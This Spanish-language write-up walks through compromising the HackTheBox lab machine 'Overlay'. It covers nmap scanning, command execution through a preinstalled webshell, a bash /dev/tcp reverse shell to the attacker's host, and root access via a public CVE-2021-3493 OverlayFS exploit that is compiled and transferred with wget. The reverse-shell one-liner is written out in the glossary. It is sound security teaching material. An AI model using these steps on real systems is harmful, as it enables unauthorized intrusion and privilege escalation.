// 01
Resumen
Overlay es una máquina de dificultad muy fácil de la plataforma HackTheBox, diseñada para introducir el concepto de explotación de vulnerabilidades del kernel de Linux. Corre sobre Ubuntu 20.04 LTS con kernel 5.8.0-48-generic, y expone dos servicios: SSH (puerto 22) y un servidor web HTTP (puerto 80) con Apache 2.4.41.
Lo que hace especial a esta máquina es que el puerto 80 ya tiene una WebShell preinstalada — una interfaz web que permite ejecutar comandos directamente en el servidor como el usuario www-data. Esto simula un escenario donde una aplicación web ya comprometida sirve de punto de entrada. Desde ahí se obtiene la user flag y se establece una reverse shell estable mediante Netcat.
La escalada de privilegios aprovecha que el kernel instalado es vulnerable a CVE-2021-3493, una vulnerabilidad de OverlayFS Local Privilege Escalation que permite a cualquier usuario sin privilegios obtener una shell como root mediante la combinación de namespaces de usuario no privilegiados y montajes overlay sin restricciones.
| Fase | Técnica / Herramienta | Resultado |
|---|---|---|
| Reconocimiento | ping -c 3 | Host activo — TTL=63 (Linux) |
| Escaneo | nmap -p- -sSCV --min-rate=5000 -oX | Puertos 22 (SSH) y 80 (HTTP) abiertos |
| Reporte | xsltproc overlay.xml | Reporte HTML visual del scan Nmap |
| Enum. Web | WebShell en puerto 80 | RCE como www-data |
| Info del sistema | whoami / uname -a / cat user.txt | Kernel 5.8.0-48 + user flag |
| Acceso inicial | nc -lvnp 443 + bash reverse shell | Shell interactiva como www-data |
| Investigación | CVE-2021-3493 (briskets/github) | Exploit OverlayFS para Ubuntu 20.04 |
| Compilación | gcc -static exploit.c -o exploit-static | Binario estático listo |
| Transferencia | python3 -m http.server 8000 + wget | exploit-static en la víctima |
| Privesc | chmod +x + ./exploit-static | Shell como root |
| Post-explot. | cat /root/root.txt | Root flag obtenida |
// 02
Reconocimiento
Antes de lanzar cualquier herramienta, siempre se verifica que la máquina objetivo está activa y alcanzable. El comando ping envía paquetes ICMP echo-request y espera una respuesta echo-reply. La flag -c 3 limita el envío a exactamente 3 paquetes, evitando un ping infinito. Si el host responde, la red está correctamente configurada y podemos continuar.
Un dato importante: el valor de TTL (Time To Live) en la respuesta es 63. Los sistemas Linux típicamente tienen TTL de 64, y el valor llega reducido en 1 por cada salto de red que atraviesa. TTL=63 indica un salto de distancia — confirma que el objetivo es Linux, dato útil antes incluso de usar Nmap.
// ¿POR QUÉ TTL=63 Y NO 64?
El TTL se decrementa en 1 por cada router (salto) que atraviesa el paquete. Linux usa TTL inicial de 64. Al llegar a nuestro equipo con TTL=63, significa que pasó por 1 router (el gateway de HackTheBox). Si fuera Windows, el TTL inicial sería 128 y llegaría como 127.
Con la conectividad confirmada, se realiza un escaneo completo de todos los 65,535 puertos TCP usando Nmap. Cada flag tiene un propósito específico: -p- escanea todos los puertos (no solo los 1000 más comunes), -sSCV combina tres modos: SYN scan sigiloso, detección de versión de servicios y ejecución de scripts de reconocimiento. -n desactiva la resolución DNS para acelerar el scan, -Pn omite el host discovery (asume que el host está activo), y --min-rate=5000 fuerza un mínimo de 5000 paquetes por segundo para que el scan sea rápido. El resultado se guarda en formato XML con -oX overlay.xml para procesarlo después.
// ANÁLISIS DEL SCAN
Nmap reveló dos puertos abiertos. Lo más llamativo es el título HTTP del puerto 80: "HackTheBox WebShell". Esto indica que ya hay una webshell instalada y accesible públicamente — el vector de ataque principal está servido en bandeja. SSH en el 22 existe pero no tenemos credenciales aún.
El archivo overlay.xml que generó Nmap está en formato XML crudo, lo que lo hace difícil de leer. La herramienta xsltproc permite transformar ese XML en un reporte HTML visualmente legible usando la hoja de estilos oficial de Nmap. El resultado es un archivo overlay.html que se puede abrir en cualquier navegador y muestra los resultados del scan de forma organizada y con colores. Es una buena práctica para documentar y revisar scans largos.
// 03
WebShell & Enumeración Inicial
Al ingresar al puerto 80 desde el navegador, se encuentra la interfaz de la WebShell de HackTheBox: una aplicación web que tiene un campo de texto para ingresar comandos y un botón "Execute" que los corre directamente en el servidor. Esto representa una vulnerabilidad crítica conocida como Remote Code Execution (RCE) — ejecución remota de código sin necesidad de autenticación.
El primer comando que siempre se ejecuta en esta situación es whoami, que devuelve el nombre del usuario bajo el cual está corriendo el proceso del servidor web. El resultado es www-data — el usuario estándar de Apache en Ubuntu. Este usuario tiene permisos limitados en el sistema, pero es nuestro punto de entrada.
// ¿QUÉ ES www-data?
www-data es el usuario del sistema operativo bajo el cual corre Apache (y otros servidores web) en distribuciones Debian/Ubuntu. Por seguridad, los servidores web no corren como root — si fueran comprometidos, el atacante solo tendría los permisos limitados de www-data. Sin embargo, ese acceso es suficiente para leer archivos del sistema, establecer una reverse shell y buscar caminos para escalar privilegios.
Sabiendo que el usuario del sistema es www-data, se puede deducir que debe existir otro usuario real en el sistema con una flag CTF. En HackTheBox, las flags de usuario se encuentran típicamente en /home/<usuario>/user.txt. La WebShell permite explorar libremente el sistema de archivos, por lo que se puede intentar leer el directorio /home/ para descubrir qué usuarios existen, o ir directamente si ya se tiene una pista del nombre.
En este caso, sabemos que el usuario es constantine (visible al explorar /home/). El comando cat /home/constantine/user.txt lee el contenido de ese archivo directamente. Que www-data pueda leer la home de constantine indica que los permisos del directorio son más permisivos de lo habitual — algo común en máquinas CTF.
Para planificar la escalada de privilegios, es crucial conocer la versión exacta del kernel de Linux. El comando uname -a imprime toda la información del sistema: nombre del kernel, hostname, versión del kernel, fecha de compilación, arquitectura del procesador, y tipo de sistema operativo.
La información más importante del output es 5.8.0-48-generic y Ubuntu SMP. Con este dato se puede buscar vulnerabilidades conocidas para esa versión específica del kernel. Una búsqueda rápida revela que CVE-2021-3493 afecta exactamente a kernels de Ubuntu 20.04 en versiones anteriores a la corrección, incluyendo el 5.8.0-48.
// 04
Reverse Shell
Aunque la WebShell permite ejecutar comandos, tiene limitaciones importantes: no es interactiva, no tiene un TTY real, y cada comando se ejecuta de forma aislada sin estado persistente. Para trabajar cómodamente — subir archivos, ejecutar exploits, navegar el sistema — se necesita una reverse shell: una conexión de red desde la máquina víctima hacia nuestra Kali, que nos da una terminal completa.
En nuestra máquina Kali, se usa Netcat (nc) para abrir un listener — un puerto que espera conexiones entrantes. Las flags usadas son: -l (modo escucha / listen), -v (verbose, muestra información detallada), -n (no resolver DNS, solo IPs numéricas) y -p 443 (escuchar en el puerto 443).
Se eligió el puerto 443 estratégicamente: es el puerto estándar de HTTPS y muchos firewalls permiten tráfico saliente en él sin inspeccionarlo, lo que hace que la reverse shell sea menos probable de ser bloqueada por reglas de firewall de la red objetivo.
Con el listener activo en nuestra Kali, se ejecuta el payload de reverse shell en la WebShell. El comando usa bash para abrir una shell interactiva (bash -i) y redirigir sus entradas/salidas/errores (>&) hacia un socket TCP apuntando a nuestra IP en el puerto 443. El 0>&1 al final redirige también la entrada estándar (stdin), completando la comunicación bidireccional.
Es importante reemplazar TU_IP con la IP de tu interfaz VPN de HackTheBox (la que obtienes al conectarte con OpenVPN). Cuando se ejecuta este comando en la WebShell, la página quedará cargando en bucle — eso es normal y significa que la conexión fue establecida exitosamente hacia nuestra Kali.
// ¿CÓMO FUNCIONA /dev/tcp?
En Bash, /dev/tcp/HOST/PUERTO es un pseudo-dispositivo especial que, al abrirse, crea una conexión TCP hacia HOST:PUERTO. No es un archivo real en disco — Bash lo interpreta internamente. Al redirigir stdin/stdout/stderr hacia este pseudo-dispositivo, toda la comunicación de la shell viaja por la red hacia nuestra máquina atacante.
// 05
CVE-2021-3493 — OverlayFS LPE
Con la información del kernel obtenida (5.8.0-48-generic, Ubuntu 20.04), se identifica que el sistema es vulnerable a CVE-2021-3493. Esta vulnerabilidad es un Local Privilege Escalation (LPE) — no permite acceso inicial, pero una vez dentro del sistema como usuario sin privilegios, permite escalar a root.
// CVE-2021-3493 — DETALLES TÉCNICOS
Nombre: Ubuntu OverlayFS Local Privilege Escalation
Descripción: OverlayFS es un sistema de archivos de unión (union mount) del kernel de Linux que permite superponer múltiples directorios en uno solo. La vulnerabilidad surge porque el kernel de Ubuntu permitía que usuarios sin privilegios crearan user namespaces (namespaces de usuario) y dentro de ellos montaran filesystems overlay sin restricciones. Al hacer esto, un proceso puede establecer capacidades de archivo (file capabilities) en un filesystem overlay y luego, al ejecutar ese binario fuera del namespace, esas capacidades se heredan con los privilegios del sistema real, permitiendo obtener root.
Versiones afectadas: Ubuntu 20.10, Ubuntu 20.04 LTS, Ubuntu 19.04, Ubuntu 18.04 LTS, Ubuntu 18.04 ESM, Ubuntu 16.04 LTS, Ubuntu 16.04 ESM, Ubuntu 14.04 ESM
Repositorio del exploit: github.com/briskets/CVE-2021-3493
El exploit público fue desarrollado por briskets y está disponible en GitHub. Se clona con git clone en nuestra máquina Kali, lo que descarga el código fuente del exploit (exploit.c) junto con el README de instrucciones. El repositorio es pequeño (16 objetos, ~5.58 KiB) y se descarga casi instantáneamente.
// 06
Compilar y Transferir el Exploit
El exploit está escrito en C (exploit.c) y necesita ser
compilado antes de poder ejecutarse. El README original indica usar
gcc exploit.c -o exploit, pero en versiones
modernas de Kali esto puede fallar al ejecutar el binario en la máquina víctima porque
las bibliotecas compartidas (shared libraries) de ambos sistemas pueden ser incompatibles.
La solución es compilar con la flag -static, que instruye a GCC a incluir todas las bibliotecas necesarias dentro del propio binario, creando un ejecutable que no depende de ninguna librería externa del sistema. Este binario "estático" puede ejecutarse en cualquier sistema Linux x86_64, independientemente de las versiones de glibc instaladas.
// ¿POR QUÉ -static Y NO EL COMANDO ORIGINAL?
Las versiones modernas de Kali Linux tienen bibliotecas más nuevas que las de Ubuntu 20.04. Si compilamos dinámicamente, el binario busca en tiempo de ejecución versiones específicas de glibc que pueden no existir o ser incompatibles en la víctima. Con -static, todo va empaquetado dentro del binario — el tamaño sube (~834KB vs ~20KB), pero funciona garantizadamente en cualquier Linux x86_64.
Para transferir el exploit compilado desde nuestra Kali hacia la máquina víctima, se levanta un servidor HTTP temporal con Python. El comando python3 -m http.server 8000 inicia un servidor web minimalista que sirve todos los archivos del directorio actual en el puerto 8000.
Es imprescindible ejecutar este comando desde dentro del directorio donde está exploit-static (es decir, dentro de CVE-2021-3493/), para que ese archivo sea accesible por HTTP. En el output se puede ver cómo la máquina víctima (10.129.5.243) descarga el archivo con una petición GET exitosa (código 200).
Desde la reverse shell activa en la máquina víctima, se descarga el exploit usando wget. Este comando realiza una petición HTTP GET hacia nuestra Kali (10.10.16.5 en el puerto 8000) y descarga el archivo exploit-static guardándolo en el directorio actual (/tmp/). Se usa /tmp/ porque es el único directorio donde www-data tiene permisos de escritura garantizados en cualquier sistema Linux.
Los archivos descargados por defecto no tienen permisos de ejecución en Linux. El comando chmod +x exploit-static (equivalente a chmod +7777 en este writeup, aunque el valor correcto estándar sería chmod +x o chmod 755) añade el bit de ejecución al binario, permitiendo que el sistema operativo lo ejecute como un programa. Sin este paso, el intento de correr ./exploit-static resultaría en un error de "Permission denied".
// 07
Escalada de Privilegios a Root
Con el exploit en la víctima y con permisos de ejecución, simplemente se ejecuta con ./exploit-static. El exploit aprovecha la vulnerabilidad CVE-2021-3493: crea un namespace de usuario no privilegiado, monta un filesystem OverlayFS dentro de él, establece file capabilities en un binario dentro del overlay, y luego ejecuta ese binario fuera del namespace, heredando los privilegios del kernel real.
Los mensajes de error que aparecen al inicio ("bash: cannot set terminal process group", "bash: no job control in this shell") son normales e inofensivos — indican que la shell no tiene un TTY completo asociado, pero no afectan la funcionalidad. Lo importante es verificar la identidad con whoami, que ahora devuelve root.
// ¿QUÉ HACE EL EXPLOIT INTERNAMENTE?
El exploit explota cómo Ubuntu permite namespaces de usuario no privilegiados: (1) Crea un user namespace donde el proceso actual aparece como "root" dentro de ese namespace aislado. (2) Dentro del namespace, monta un filesystem OverlayFS sobre un directorio temporal. (3) Crea un ejecutable en el overlay y le asigna file capabilities elevadas (como CAP_SETUID). (4) Al ejecutar ese binario fuera del namespace, el kernel hereda las capabilities sin sanitizarlas correctamente, otorgando privilegios reales de root al proceso.
// 08
Flags & Root
Siendo root, se navega al directorio /root/ — el directorio home del superusuario, al que normalmente solo root tiene acceso. Dentro se listan los archivos con ls y se lee la flag con cat root.txt. Esta es la flag final que confirma la máquina completamente comprometida.
// 09
Referencia de Comandos
- -c N — Limita el envío a N paquetes (evita ping infinito)
- -t — TTL a usar en los paquetes enviados
- -p- — Escanea los 65,535 puertos TCP
- -sS — SYN scan sigiloso (half-open)
- -sC — Ejecuta scripts NSE por defecto
- -sV — Detecta versiones de servicios
- -n — Sin resolución DNS (más rápido)
- -Pn — Omite host discovery (asume activo)
- --min-rate=5000 — Mínimo 5000 pkts/segundo
- --open — Muestra solo puertos abiertos
- -oX archivo — Guarda resultado en XML
- nmap.xsl — Hoja de estilo oficial de Nmap
- > archivo — Redirige la salida a un archivo
- -l — Modo escucha (listen)
- -v — Verbose (muestra detalles)
- -n — Solo IPs numéricas, sin DNS
- -p N — Puerto en el que escuchar
- -i — Shell interactiva
- >& — Redirige stdout y stderr juntos
- /dev/tcp/IP/PORT — Pseudo-dispositivo TCP de Bash
- 0>&1 — Redirige stdin al mismo descriptor
- -a — Todo: kernel, hostname, versión, arquitectura
- -r — Solo la versión del kernel
- -m — Solo la arquitectura de hardware
- --depth 1 — Clona solo el último commit (más rápido)
- -b rama — Clona una rama específica
- -static — Incluye todas las libs en el binario (portátil)
- -o nombre — Nombre del binario de salida
- -O2 — Optimización nivel 2
- -Wall — Muestra todos los warnings
- 8000 — Puerto por defecto (puede ser cualquiera)
- --bind IP — Escucha solo en una interfaz específica
- -O nombre — Guardar con nombre específico
- -q — Modo silencioso (sin output)
- -P /ruta — Guardar en directorio específico
- +x — Añade permiso de ejecución a todos
- 755 — rwxr-xr-x (owner ejecuta, otros leen)
- 777 — rwxrwxrwx (todos pueden todo)
- cat -n — Muestra con números de línea
- cat -A — Muestra caracteres especiales
// 10
Glosario
bash -i >& /dev/tcp/IP/PORT 0>&1.su, sudo, ni editores de texto. Se puede mejorar ejecutando python3 -c 'import pty; pty.spawn("/bin/bash")' seguido de stty raw -echo; fg para obtener una shell completamente interactiva.CAP_NET_BIND_SERVICE permite a nginx escuchar en el puerto 80 sin ser root, y CAP_SETUID permite cambiar el UID del proceso. El exploit CVE-2021-3493 establece capabilities elevadas en un binario dentro del overlay, que luego se heredan incorrectamente al ejecutarse en el contexto del sistema real.-static) depende de bibliotecas compartidas del sistema (glibc, libpthread, etc.) que deben estar instaladas en la máquina donde se ejecuta. Un ejecutable estático (compilado con gcc -static) incluye todas las bibliotecas necesarias dentro del propio binario. Es más grande (~800KB vs ~20KB) pero funciona en cualquier Linux con la misma arquitectura, sin importar las bibliotecas instaladas — esencial al transferir exploits a máquinas víctima.2c0477a3ad5052f680217c5c2209ca5c) ubicados en archivos específicos del sistema (user.txt y root.txt). Obtener la user flag requiere acceso inicial; la root flag requiere escalada de privilegios completa.ping. El campo TTL (Time To Live) indica el número máximo de saltos que puede dar un paquete antes de ser descartado. Cada router decrementa el TTL en 1. Los sistemas operativos usan TTL iniciales distintos: Linux: 64, Windows: 128, Cisco: 255. Al recibir un TTL=63, sabemos que el paquete viajó 1 salto y el OS origen tenía TTL inicial de 64 → es Linux.